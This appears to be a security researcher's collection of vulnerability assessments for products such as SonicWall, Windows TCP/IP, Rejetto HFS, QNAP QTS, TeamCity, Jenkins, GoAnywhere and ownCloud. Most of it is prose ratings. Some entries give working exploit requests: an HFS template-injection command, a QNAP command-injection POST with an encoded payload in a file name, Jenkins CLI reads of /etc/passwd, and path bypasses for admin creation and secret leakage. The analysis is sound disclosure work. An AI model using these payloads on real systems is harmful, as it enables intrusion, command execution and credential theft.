sfewer-r7 (106)

On August 22, 2024, SonicWall published an advisory for an improper access control vulnerability affecting multiple models in their Next Generation Firewall (NGFW) series of devices, specifically those running SonicOS v5, v6 and the latest version v7:

• 5.9.2.14-12o and below.
  
• 6.5.4.14-109n and below.
  
• 7.0.1-5035 and below.
  

The vendor also states:

This vulnerability is not reproducible in SonicOS firmware version higher than 7.0.1-5035

We can note that the next version greater than 7.0.1-5035 is 7.0.1-5052 which was released on April 2022, indicating this vulnerability has not affected the latest firmware version of generation 7 Sonicwall NGFW devices for the last 2 years.

The description of the vulnerability from the vendor states that the improper access control vulnerability is in the management access feature of the device, and can lead to either resource access or denial of service.

There are no technical detail to go on, so looking at the vendor supplied CVSS score of 9.3, we can see this vulnerability has been rated as unauthenticated, and allows for both changed scope and a high loss of confidentiality. However we can note that the loss of integrity is rated as none. It would seem based on this, that the vulnerability does not lead to RCE on the target device, but rather it is likely an information leak that can cause an attacker to access resources beyond the initial scope.

We can see SonicWall have updated their advisory to state:

SonicWall strongly advises that customers using GEN5 and GEN6 firewalls with SSLVPN users who have locally managed accounts immediately update their passwords to enhance security and prevent unauthorized access

Given there are no technical details available, we can speculate based on what little we know about the vulnerability. It is likely this vulnerability allows an unauthenticated attacker to leak the credentials of either some, or all, local user accounts on the target devices, and if the SSLVPN feature allows authentication based on local accounts, the attacker may be able to reuse these credentials to authenticate and VPN into the devices internal network. This would make sense given the CVSS score indicating the scope is changed. If an attacker can indeed leak local user account credentials, it is unknown if the attacker must first crack hashed password before reuse, or if some other mechanism for authentication will work, for example, if the leaked resource is not a hashed password, but rather a session token.

Organizations running affected devices can apply the vendor update. Additionally, the vendor recommends both disabling the management access feature on the WAN interface of the device, and enabling MFA for all SSLVPN users.

Given there are currently no technical details or PoC’s available, I have not rated the exploitability. The attacker value is high as the scope of access can be changed.

On August 13, 2024, Microsoft disclosed CVE-2024-38063, an integer underflow vulnerability (CWE-191) affecting the IPv6 component of the Windows TCP/IP networking stack.

The affected Windows versions are summarized below (For a detailed list see the Microsoft advisory):

• Windows 11
  
• Windows 10
  
• Windows Server 2022
  
• Windows Server 2019
  
• Windows Server 2016
  
• Windows Server 2012
  
• Windows Server 2008
  

We can see that this vulnerability affects a broad number of Windows systems, including all recent major versions and several older versions, dating back to Server 2008.

The vulnerability has been given a critical severity rating by Microsoft, with an accompanying CVSS score of 9.8. This score rates the vulnerability as both unauthenticated, and having low attacker complexity. Such a score indicates that this vulnerability may be a viable candidate for a remote code execution exploit. The low attacker complexity rating is likely an indication as to the ease in triggering the vulnerability, and not actually successfully exploiting the vulnerability to achieve RCE. Given that modern Windows kernels employ numerous memory corruption mitigations (such as Kernel ASLR, and Kernel CFG), and hardening techniques (such as PatchGuard and HyperGuard), actually building a reliable remote code execution exploit is likely difficult. It is worth noting that on older affected systems, like Server 2008, exploitation may be easier.

If we diff the patched tcpip.sys driver against an older, unpatched copy of the driver, we can see that the function tcpip!Ipv6pProcessOptions has been modified slightly. While it is currently unclear as to the root cause of the vulnerability based on this changed function, as there are no other notable changes in the tcpip.sys driver, it is likely that IPv6 options processing is at play.

Given what we currently know about the vulnerability, I have given this an attacker value rating of very high, as a potential unauthenticated RCE in a default installation of Windows is a high value exploit for an attacker. However, given the likely complexity in building a successful RCE exploit targeting the broad gambit of affected Windows versions, I have given the exploitability rating as low.

The best protection at this time is to apply the official patch from Microsoft. If this is not possible, disabling IPv6 on the network adapter is the next best mitigation. Organizations can also evaluate if ingress IPv6 traffic is necessary on their networks.

Based on our AttackerKB Rapid7 Analysis, I have rated the exploitability as high, as an exploit can easily be implemented by modifying an existing SFTP library to trigger the auth bypass. However, when running the exploit, the attacker must first know the username of a valid user account on the target server. I have rated the attacker value as very high, as this is an auth bypass in an SFTP service of an enterprise file transfer solution.

Based upon our Rapid7 Analysis, I have rated the attacker value of this vulnerability as Very High, as an unauthenticated attacker can read files from a server, and the vulnerable product is a file tranfser solution. I have rated the exploitability as Very High, as exploitation is trivial.

I have rated the attacker value as high, as if the requirement to exploitation are met the attacker can get remote unauthenticated RCE on the target Windows server. I have rated the Exploitability as Low as there are several prerequisites for a target to be vulnerable, specifically.

• Target must be a web server running on a Windows system. A Web server on Linux for example can not be vulnerable. Currently I have only seen vulnerable Apache based configurations. I could not get IIS to be vulnerable during testing.
  
• Target webserver must expose PHP in CGI mode (as opposed to FastCGI mode which is generally more common), or expose the CGI binary directly through an Apache ScriptAlias directive.
  
• The target Windows OS must have its system locale set to either Japanese (Code page 932) or Chinese (Code pages 950 or 936). For this reason most systems that meet the other requirements will not be exploitable, as the systems locale must use a code page that can cause the vulnerability.
  

It is worth noting that XAMPP for Windows is in a vulnerable configuration by default, however the target Windows system XAMPP is running on still must meet the locale requirement of either Japanese or Chinese as mentioned above.

The Rejetto HTTP File Server (HFS) version 2.x is vulnerable to an unauthenticated server side template injection (SSTI) vulnerability. A remote unauthenticated attacker can execute code with the privileges of the user account running the HFS.exe server process. The vulnerability has been confirmed to work against version 2.4.0 RC7 and 2.3m. The Rejetto HTTP File Server (HFS) version 2.x is no longer supported by the maintainers and no patch is available. Users are recommended to upgrade to version 3.x.

The server uses a default template when rendering the content for a HTTP response. This template when rendered will include the content of a request’s search query parameter. It is this search query parameter that lets us supply a value that will not be escaped correctly, and ultimately results in an SSTI vulnerability.

Under normal operation any user supplied content will be escaped, so any symbols, which are normally encoded as %symbol-name%, and any macros, which are normally encoded as {:macro-name:} will be escaped to prevent SSTI.

However we can force a percent symbol to become un-escaped. This allows us to embed any symbol in the content being processed. We can do this via the sequence %25x%25symbol-name%25.

We can leverage this to force the %url% symbol to become unescaped. When the %url% symbol is processed by the server, it will echo back the remainder of the URL into the server side content. By forcing the remainder of the URL in the HTTP request to not be correctly URL-encoded, we can now include characters such as additional % or } characters.

To inject arbitrary macros, we first need to close the default template MARKER_QUOTE sequence ({:) by writing an unexpected MARKER_UNQUOTE (:}) sequence, however this will still be filtered. To bypass this filtering, we can leverage the %host% symbol and an empty host header value. So :%host%} will become :} and this will not be escaped. After this happens we can perform an arbitrary template injection containing a sequence of any HFS symbols or macros we want.

Finally we can execute an arbitrary operating system command by using the exec macro as shown below. As the search query parameter is processed several times by the default template, we avoid executing our command several times by issuing a break macro which will stop all processing.

$ echo -ne "GET /?search=%25x%25url%25:%host%}{.exec|notepad.}{.break.} HTTP/1.1\r\nHost:\r\n\r\n" | nc 192.168.86.35 80

I have rated the exploitability of this vulnerability as very high, as it is trivial to exploit by a remote unauthenticated attacker. I have rated the attacker value as low as this is not an enterprise web server.

CVE-2024-27198, allows for a complete compromise of a vulnerable TeamCity server by a remote unauthenticated attacker, including unauthenticated RCE. Compromising a TeamCity server allows an attacker full control over all TeamCity projects, builds, agents and artifacts, and as such is a suitable vector to position an attacker to perform a supply chain attack.

CVE-2024-27199, allows for a limited amount of information disclosure and a limited amount of system modification, including the ability for an unauthenticated attacker to replace the HTTPS certificate in a vulnerable TeamCity server with a certificate of the attacker’s choosing.

Based on writing the Metasploit exploit module for this vulnerability, I have rated the exploitability as very high, as leveraging CVE-2203-1709 to create a new administrator account is trivial. To leverage the vulnerability to get RCE requires more steps, but it is not that complex and exploitation appears reliable. The attacker value for this vulnerability is also very high given the nature of the target software.

An unauthenticated command injection vulnerability exists in the quick.cgi component of the web administration server for QNAP QTS and QuTS Hero operating systems, used by numerous QNAP NAS devices. The quick.cgi component exposes functionality to remotely provision a QNAP device. An attacker with network access to an uninitialized QNAP NAS device may perform unauthenticated command injection.

The vulnerability affects QTS 5.1.x, prior to the vendor patch QTS 5.1.5.2645 build 20240116, and QuTS hero h5.1.x, prior to the vendor patch QuTS hero h5.1.5.2647 build 20240118.

A HTTP(S) POST request targeting the uploaf_firmware_image functionality of quick.cgi can trigger a command injection vulnerability if the user agent contains both the words Mozilla and Macintosh. This is because a file name passed as part of the POST request multipart form-data will be URL decoded if the user agent matches these special words. This allows for a double quote character (URL encoded as %22) to be supplied as part of the file name, allowing a command string to be escaped and command injection to occur.

An example request that exploits this vulnerability is as follows:

POST /cgi-bin/quick/quick.cgi?func=switch_os&todo=uploaf_firmware_image HTTP/1.1
Host: 192.168.86.42:8080
User-Agent: Mozilla Macintosh
Accept: */*
Content-Length: 164
Content-Type: multipart/form-data;boundary="avssqwfz"

--avssqwfz
Content-Disposition: form-data; xxpcscma="field2"; zczqildp="%22$($(echo -n aWQ=|base64 -d)>a)%22"
Content-Type: text/plain

skfqduny
--avssqwfz–

A detailed analysis and PoC can be found in our Rapid7 disclosure.

CVE-2024-24942 is described by the vendor:

Path traversal allowed reading data within JAR archives.

If we decompile and diff the REST API from TeamCity 2023.11.2 (C:\TeamCity\webapps\ROOT\WEB-INF\plugins\rest-api\server\rest-api-2023.09-147486.jar) against TeamCity 2023.11.3 (C:\TeamCity\webapps\ROOT\WEB-INF\plugins\rest-api\server\rest-api-2023.09-147512.jar), we can see the SwaggerUI class has been modified.

And reading the below diff, if appears this issue lies in an attacker being able to supply an arbitrary path when getting swagger resources from an unauthenticated endpoint.

--- "a/C:\\Users\\Administrator\\Desktop\\Decomp_2023.11.2_restapi\\jetbrains\\buildServer\\server\\rest\\swagger\\SwaggerUI.java"
+++ "b/C:\\Users\\Administrator\\Desktop\\Decomp_2023.11.3_restapi\\jetbrains\\buildServer\\server\\rest\\swagger\\SwaggerUI.java"
@@ -26,7 +26,7 @@ import javax.ws.rs.PathParam;
 import javax.ws.rs.Produces;
 import javax.ws.rs.core.Context;
 import javax.ws.rs.core.UriInfo;
-import jetbrains.buildServer.server.rest.SwaggerUIUtil;
+import jetbrains.buildServer.server.rest.swagger.SwaggerUtil;

 @Path(value="/app/rest/swaggerui")
 @Api(hidden=true)
@@ -42,7 +42,7 @@ public class SwaggerUI {
     @GET
     @Produces(value={"text/html"})
     public String serveSwaggerUI() {
-        try (InputStream input = SwaggerUIUtil.getFileFromResources("index.html");){
+        try (InputStream input = SwaggerUtil.getFileFromResources("index.html");){
             String string = StreamUtil.readText((InputStream)input, (String)"UTF-8");
             return string;
         }
@@ -62,7 +62,7 @@ public class SwaggerUI {
         if (path.equals("index.html")) {
             return this.serveSwaggerUI();
         }
-        try (InputStream input = SwaggerUIUtil.getFileFromResources(path);){
+        try (InputStream input = SwaggerUtil.getFileFromResources(path);){
             if (path.endsWith(".js") || path.endsWith(".css")) {
                 String string = StreamUtil.readText((InputStream)input, (String)"UTF-8");
                 return string;

We can see in the patched code, that SwaggerUIUtil.getFileFromResources calls a helper method isValidResourcePath. This helper method will detect the presence of double dot notation in a path, and cause an exception to be thrown, preventing the use of double dot notation during SwaggerUtil.class.getClassLoader().getResourceAsStream.

--- "a/C:\\Users\\Administrator\\Desktop\\Decomp_2023.11.2_restapi\\jetbrains\\buildServer\\server\\rest\\SwaggerUIUtil.java"
+++ "b/C:\\Users\\Administrator\\Desktop\\Decomp_2023.11.3_restapi\\jetbrains\\buildServer\\server\\rest\\swagger\\SwaggerUtil.java"
@@ -1,24 +1,245 @@
 /*
  * Decompiled with CFR 0.152.
+ *
+ * Could not load the following classes:
+ *  com.intellij.openapi.diagnostic.Logger
+ *  io.swagger.models.Model
+ *  io.swagger.models.Operation
+ *  io.swagger.models.Path
+ *  io.swagger.models.RefModel
+ *  io.swagger.models.Response
+ *  io.swagger.models.Swagger
+ *  io.swagger.models.parameters.BodyParameter
+ *  io.swagger.models.properties.ArrayProperty
+ *  io.swagger.models.properties.MapProperty
+ *  io.swagger.models.properties.Property
+ *  io.swagger.models.properties.RefProperty
+ *  org.jetbrains.annotations.NotNull
  */
-package jetbrains.buildServer.server.rest;
+package jetbrains.buildServer.server.rest.swagger;

+import com.intellij.openapi.diagnostic.Logger;
+import io.swagger.models.Model;
+import io.swagger.models.Operation;
+import io.swagger.models.Path;
+import io.swagger.models.RefModel;
+import io.swagger.models.Response;
+import io.swagger.models.Swagger;
+import io.swagger.models.parameters.BodyParameter;
+import io.swagger.models.properties.ArrayProperty;
+import io.swagger.models.properties.MapProperty;
+import io.swagger.models.properties.Property;
+import io.swagger.models.properties.RefProperty;
 import java.io.InputStream;
-import java.net.URL;
+import java.util.ArrayDeque;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.LinkedHashMap;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Objects;
+import org.jetbrains.annotations.NotNull;

-public class SwaggerUIUtil {
+public class SwaggerUtil {
+    private static final Logger LOG = Logger.getInstance((String)SwaggerUtil.class.getName());
     public static final String INDEX = "index.html";
-    public static final String RESOURCE_PATH = "swagger/";
+    private static final String RESOURCE_PATH = "swagger/";

-    public static InputStream getFileFromResources(String path) {
-        String fullPath = RESOURCE_PATH + path;
-        ClassLoader classLoader = SwaggerUIUtil.class.getClassLoader();
-        URL resource = classLoader.getResource(fullPath);
-        if (resource == null) {
+    static void doAnalyzeSwaggerDefinitionReferences(Swagger swagger) {
+        HashSet<String> usedReferences = new HashSet<String>();
+        for (Path path : swagger.getPaths().values()) {
+            for (Operation operation : path.getOperations()) {
+                String ref;
+                Model schema;
+                Object parameter2;
+                List parameters = operation.getParameters();
+                for (Object parameter2 : parameters) {
+                    BodyParameter bp;
+                    if (!(parameter2 instanceof BodyParameter) || !((schema = (bp = (BodyParameter)parameter2).getSchema()) instanceof RefModel)) continue;
+                    RefModel rm = (RefModel)schema;
+                    ref = rm.getSimpleRef();
+                    usedReferences.add(ref);
+                }
+                Map responses = operation.getResponses();
+                parameter2 = responses.values().iterator();
+                while (parameter2.hasNext()) {
+                    Response response = (Response)parameter2.next();
+                    schema = response.getSchema();
+                    if (!(schema instanceof RefProperty)) continue;
+                    RefProperty rp = (RefProperty)schema;
+                    ref = rp.getSimpleRef();
+                    usedReferences.add(ref);
+                }
+            }
+        }
+        Map definitions = swagger.getDefinitions();
+        ArrayDeque<String> queue = new ArrayDeque<String>();
+        queue.addAll(usedReferences);
+        while (!queue.isEmpty()) {
+            String name = (String)queue.pop();
+            Model model = (Model)definitions.get(name);
+            if (model == null) {
+                LOG.warn("Swagger definition '" + name + "' referenced but not found.");
+                continue;
+            }
+            Map properties = model.getProperties();
+            if (properties == null) continue;
+            for (Property property : properties.values()) {
+                String ref = SwaggerUtil.getPropertySimpleRef(property);
+                if (ref == null || !usedReferences.add(ref)) continue;
+                queue.add(ref);
+            }
+        }
+        int used = usedReferences.size();
+        int total = definitions.size();
+        LOG.info("Swagger definitions stats: Total=" + total + " Used=" + used);
+        if (used != total) {
+            LinkedHashSet unused = new LinkedHashSet(definitions.keySet());
+            unused.removeAll(usedReferences);
+            if (unused.size() > 30) {
+                LOG.warn("Too much unused definitions. Enable debug logs to see them");
+                LOG.debug("Unused definitions: " + unused);
+            } else {
+                LOG.info("Unused definitions: " + unused);
+            }
+        }
+    }
+
+    static <K extends Comparable<? super K>, V> Map<K, V> getOrderedMap(Map<K, V> input) {
+        if (input == null) {
+            return null;
+        }
+        LinkedHashMap<Comparable, V> sorted = new LinkedHashMap<Comparable, V>();
+        ArrayList<K> keys = new ArrayList<K>();
+        keys.addAll(input.keySet());
+        Collections.sort(keys);
+        for (Comparable key : keys) {
+            sorted.put(key, input.get(key));
+        }
+        return sorted;
+    }
+
+    private static String getPropertySimpleRef(Property property) {
+        if (property instanceof RefProperty) {
+            RefProperty rp = (RefProperty)property;
+            return rp.getSimpleRef();
+        }
+        if (property instanceof ArrayProperty) {
+            ArrayProperty ap = (ArrayProperty)property;
+            Property items = ap.getItems();
+            return SwaggerUtil.getPropertySimpleRef(items);
+        }
+        if (property instanceof MapProperty) {
+            MapProperty mp = (MapProperty)property;
+            Property items = mp.getAdditionalProperties();
+            return SwaggerUtil.getPropertySimpleRef(items);
+        }
+        return null;
+    }
+
+    @NotNull
+    public static InputStream getFileFromResources(@NotNull String path) {
+        String fullPath;
+        if (path == null) {
+            SwaggerUtil.$$$reportNull$$$0(0);
+        }
+        if (!SwaggerUtil.isValidResourcePath(fullPath = RESOURCE_PATH + path)) {
             throw new IllegalArgumentException(String.format("File %s was not found", fullPath));
         }
-        InputStream stream = classLoader.getResourceAsStream(fullPath);
-        return stream;
+        InputStream inputStream = Objects.requireNonNull(SwaggerUtil.class.getClassLoader().getResourceAsStream(fullPath));
+        if (inputStream == null) {
+            SwaggerUtil.$$$reportNull$$$0(1);
+        }
+        return inputStream;
+    }
+
+    private static boolean isValidResourcePath(@NotNull String path) {
+        if (path == null) {
+            SwaggerUtil.$$$reportNull$$$0(2);
+        }
+        return !path.contains("..") && SwaggerUtil.class.getClassLoader().getResource(path) != null;
+    }
+

We can reach this via an unauthenticated HTTP(S) GET request to the endpoint /app/rest/swaggerui, and provide an arbitrary path parameter, delineated via a semicolon character, e.g. ;/../schema.graphqls. The below curl request will hit the target endpoint.

curl -ik --path-as-is http://172.29.236.183:8111/app/rest/swaggerui;/../schema.graphqls

In a debugger, we can see the request being processed by a vulnerable TeamCity 2023.11.2 server.

However we were unable to successfully read a file by using double dot notation.

>curl -ik --path-as-is http://172.29.236.183:8111/app/rest/swaggerui;/../schema.graphqls
HTTP/1.1 500
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: text/plain
Transfer-Encoding: chunked
Date: Mon, 12 Feb 2024 17:13:15 GMT
Connection: close

Error has occurred during request processing, status code: 500 (Internal Server Error).
Details: java.lang.IllegalArgumentException: File swagger/../schema.graphqls was not found
Error occurred while processing this request.

As such, I have tagged this as Difficult to weaponize and given an attacker value rating of very low. I marked Exploitability as very high, as you can reach the vulnerable code via a single unauthenticated HTTP(S) request.

Looking into this vulnerability, there are a number of factors to consider when gauging exploitability. Horizion3ai have a good blog post going into detail on this, and the original vendor advisory also goes into detail on the constraints of successful exploitation.

While the vulnerability does allow for arbitrary file reading, there are several constraints that may make an attackers ability to read arbitrary files less likely to succeed. The main factors are the privileges the attacker has on the target Jenkins system (if any), the target platform that Jenkins is running on, and the type of file the attacker wants to read. Finally, based on what the attacker can successfully read, the attacker must then leverage this somehow, e.g. if they read an encrypted password, are they able to crack it? If they read a secret key from a text file, do they also need to successfully read encrypted binary files?

At a minimum, an unauthenticated attacker can read up to 3 lines of an arbitrary text file, for example the following 3 CLI requests will return the first, second and third line of the text file /etc/passwd (Jenkins is running in a docker container for this example). The CLI command who-am-i, enable-job, and keep-build are used to read the first, second and third line numbers respectively – although other commands such as help will return the first and second line of a file.

$ java -jar jenkins-cli.jar -s http://192.168.86.70:8080 who-am-i @/etc/passwd

ERROR: No argument is allowed: root:x:0:0:root:/root:/bin/bash
java -jar jenkins-cli.jar who-am-i
Reports your credential and permissions.

$ java -jar jenkins-cli.jar -s http://192.168.86.70:8080 enable-job @/etc/passwd

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar enable-job NAME
Enables a job.
 NAME : Job name

$ java -jar jenkins-cli.jar -s http://192.168.86.70:8080 keep-build @/etc/passwd

ERROR: Too many arguments: bin:x:2:2:bin:/bin:/usr/sbin/nologin
java -jar jenkins-cli.jar keep-build NAME BUILD#
Mark the build to keep the build forever.
 NAME   : Item name
 BUILD# : Build number

The first 3 lines of the file can then be reconstituted as follows:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

If an attacker has an account with Overall/Read permission on the target Jenkins system, the entire contents of a text file can be read, via the CLI command connect-node, as shown below:

Note: When leveraging the CLI command connect-node, the returned lines of text are displayed out of order to that of the original file.

$ java -jar jenkins-cli.jar -auth admin:qwerty12345 -s http://192.168.86.70:8080 connect-node @/etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such agent "www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin" exists.
root:x:0:0:root:/root:/bin/bash: No such agent "root:x:0:0:root:/root:/bin/bash" exists.
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such agent "mail:x:8:8:mail:/var/mail:/usr/sbin/nologin" exists.
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such agent "backup:x:34:34:backup:/var/backups:/usr/sbin/nologin" exists.
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin: No such agent "_apt:x:42:65534::/nonexistent:/usr/sbin/nologin" exists.
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such agent "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin" exists.
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such agent "lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin" exists.
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such agent "uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin" exists.
bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such agent "bin:x:2:2:bin:/bin:/usr/sbin/nologin" exists.
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such agent "news:x:9:9:news:/var/spool/news:/usr/sbin/nologin" exists.
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such agent "proxy:x:13:13:proxy:/bin:/usr/sbin/nologin" exists.
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such agent "irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin" exists.
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: No such agent "list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin" exists.
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash: No such agent "jenkins:x:1000:1000::/var/jenkins_home:/bin/bash" exists.
games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such agent "games:x:5:60:games:/usr/games:/usr/sbin/nologin" exists.
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such agent "man:x:6:12:man:/var/cache/man:/usr/sbin/nologin" exists.
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such agent "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin" exists.
sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such agent "sys:x:3:3:sys:/dev:/usr/sbin/nologin" exists.
sync:x:4:65534:sync:/bin:/bin/sync: No such agent "sync:x:4:65534:sync:/bin:/bin/sync" exists.

ERROR: Error occurred while performing this command, see previous stderr output.

The issue is complicated further if the attacker wants to read a binary file, as the target systems string encoding method may remove unsupported bytes in the string output. As noted in the original vendor advisory, Linux will use UTF-8 by default which may remove as much as 50% of all encoded characters, while Windows uses Windows-1252 which will remove only 5 out of the 256 possible byte values being returned.

The vendor advisory gives several examples of how to leverage this vulnerability to achieve something (such as RCE), but they all require the ability to successfully read a binary file. While not impossible, in may scenarios it may not be practical for an attacker to achieve this. The Horizion3ai blog also has some good detail on these constraints too.

We can summarize the constraints an attacker will face when exploiting this vulnerability with the following table:

Note, “Authenticated” in this context means an attacker has privileges on the Jenkins system with the Overall/Read permission.

It is currently unknown if an unauthenticated attacker can compromise a Jenkins system by only reading the first 3 lines of a text file via this vulnerability.

Based on the technical writeup and PoC from Horizion3, this vulnerability can be exploited by an unauthenticated attacker with access to the management interface of GoAnywhere MFT (by default the management interface is available over TCP port 8000 for HTTP and TCP port 8001 for HTTPS), to create a new administrator account on the system. The attacker value is rated as very high given this product is a file transfer solution, and has been targeted by ransomware groups such a Cl0p in the past. I rated the exploitability as high given the management interface must be exposed for exploitation to succeed, which it may not be in all environments.

The vulnerabilities lies in the endpoint /goanywhere/wizard/InitialAccountSetup.xhtml. This endpoint is used during the products initial setup, to create the first administrator user. After setup has completed, this endpoint is no longer available. However using a Tomcat path traversal technique of inserting the path segment ..;, allows the endpoint to be reached successfully via the path /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml. A HTTP POST request can then be made by an unauthenticated attacker to create a new administrator account with a password of the attackers choosing.

Based on our Rapid7 Analysis, the attacker value of this vulnerability is High, as successful exploitation can result in remote code execution via arbitrary file uploads, such as uploading a web shell or similar. However I have rated the exploitability as Low as there are a number or prerequisites that must be met for a Struts based web application to be vulnerable. Currently we don’t have any concrete examples of production applications that are vulnerable to CVE-2023-50164. This may change as the vulnerability comes under more scrutiny and more Struts based applications are examined.

Update Dec 1, 2023: I have updated this assessment to reflect that vulnerable Docker based installations are indeed exploitable with a trivial modification of the original exploit technique. I have adjusted the exploitability rating and attacker value rating to reflect this new information. I also clarified that the addition of phpinfo to the PHP disabled functions list is a recent addition by ownCloud in response to the vulnerability, and it has been back ported to older Docker images.

Overview

Some installations of ownCloud may contain a vulnerable graphapi application which exposes a PHP endpoint /apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php that allows the output of the phpinfo() function to be displayed to an attacker. This output may contain sensitive information, such as secrets held in environment variables. How the target endpoint is successfully reached depends on how the ownCloud installation was performed.

ownCloud may be installed via one of two methods as described in the vendor documentation, either via Docker or via a manual installation. How ownCloud was installed will impact its vulnerability.

Installation via Docker

When a vulnerable ownCloud Docker image is run as a Docker container, a vulnerable graphapi application will be present by default (we tested ownCloud 10.13.0 and 10.12.1), however any attempt to reach the vulnerable endpoint will result in a 302 redirect to the login page. This does not happen against a manual installation of a vulnerable ownCloud, as the Docker image contains some additional entries in the file /var/www/owncloud/.htaccess which redirect all requests that don’t match some rewrite rules, to a dispatcher via index.php, which in turn was observed to perform the 302 redirect.

ErrorDocument 403 /core/templates/403.php
ErrorDocument 404 /core/templates/404.php
<IfModule mod_rewrite.c>
 Options -MultiViews
 RewriteRule ^favicon.ico$ core/img/favicon.ico [L]
 RewriteRule ^core/js/oc.js$ index.php [PT,E=PATH_INFO:$1]
 RewriteRule ^core/preview.png$ index.php [PT,E=PATH_INFO:$1]
 RewriteCond %{REQUEST_URI} !\.(css|js|svg|gif|png|html|ttf|woff|ico|jpg|jpeg|json|properties)$
 RewriteCond %{REQUEST_URI} !\.(min|js|auto)\.map$
 RewriteCond %{REQUEST_URI} !^/core/img/favicon\.ico$
 RewriteCond %{REQUEST_URI} !^/robots\.txt$
 RewriteCond %{REQUEST_URI} !^/remote\.php
 RewriteCond %{REQUEST_URI} !^/public\.php
 RewriteCond %{REQUEST_URI} !^/cron\.php
 RewriteCond %{REQUEST_URI} !^/core/ajax/update\.php
 RewriteCond %{REQUEST_URI} !^/status\.php$
 RewriteCond %{REQUEST_URI} !^/ocs/v1\.php
 RewriteCond %{REQUEST_URI} !^/ocs/v2\.php
 RewriteCond %{REQUEST_URI} !^/updater/
 RewriteCond %{REQUEST_URI} !^/ocs-provider/
 RewriteCond %{REQUEST_URI} !^/ocm-provider/
 RewriteCond %{REQUEST_URI} !^/\.well-known/(acme-challenge|pki-validation)/.*
 RewriteRule . index.php [PT,E=PATH_INFO:$1]
 RewriteBase /
 <IfModule mod_env.c>
   SetEnv front_controller_active true
   <IfModule mod_dir.c>
     DirectorySlash off
   </IfModule>
 </IfModule>
</IfModule>

While it was initially believed that avoiding the Apache rewrite rule that generated a 302 response was not possible, it has now been discovered that a simple modification to the target URI path can bypass the rewrite rule and successfully reach the target endpoint. We can see above that several file extensions have a rewrite condition that will avoid the rewrite rule if they are passed. Specifically paths that end in .css or .js (and so on) will not be subject to the rewrite condition. In order to successfully call the target PHP page, while also ending a URI path with a file extension that is not .php, we can append a forward slash followed by the file extension that will bypass the rewrite condition. For example appending /.css to the target URI will allow the GetPhpInfo.php page to be called while still ending the URI in a file extension that bypasses the rewrite condition.

This will reveal the OWNCLOUD_ADMIN_USERNAME and OWNCLOUD_ADMIN_PASSWORD, allowing an attacker to login to the ownCloud system as an Administrator user, as shown below:

Mitigating with PHP disabled functions

It appears ownCloud has been updating older Docker images (we tested 10.13.0 and 10.12.2) to add the PHP function phpinfo to the disable_functions list. If this is in place, even if you can reach the vulnerable endpoint, you would get no content returned.

root@b14ad59db823:/var/www/owncloud# cat /etc/php/7.4/apache2/conf.d/99-owncloud-apache.ini 
= pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,
pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,
pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,system,phpinfo,show_source,fopen_with_path,
dbmopen,dbase_open,filepro_retrieve,posix_mkfifo
root@b14ad59db823:/var/www/owncloud#

Notably, we also inspected an older Docker image for version 10.10.0 and 10.12.1, and found that these versions do not contain ‘phpinfo’ in the disable_functions list.

For this mitigation to be effective, the running Docker container would have to use a Docker image that has been recently updated to include this mitigation. So containers based on images that did not have this mitigation applied at the time the image was downloaded, will not have the mitigation in place.

Manual Installation

When manually installing ownCloud (we tested 10.13.0 for the manual installation), the graphapi application is not installed by default (unlike the Docker counterpart). You must manually download and install the vulnerable component. After this is done, it is possible to reach the vulnerable endpoint via a simple GET request, resulting in the display of the apache2 processes environment variables.

Exploitability

It seems more likely that sensitive environment variables would be present in a Docker based installation of ownCloud, as this is a common technique used to pass secrets to a Docker container at runtime. In addition, Docker based ownCloud images include the vulnerable graphapi component by default. While the original public exploit did not work against Docker based installations, we now know it is possible to exploit a Docker based installation. This new development significantly increases both the attacker value and exploitability of this vulnerability.

Misc

It is also worth pointing out that the public PoC uses the endpoint /owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php. Note the /owncloud/ path segment at the start of the URI. If ownCloud has been installed either via Docker, or manually as per the official instructions, this path segment is not expected to be present. The expected URI should be /apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php. Researcher Will Dormann has noted this anomaly also.

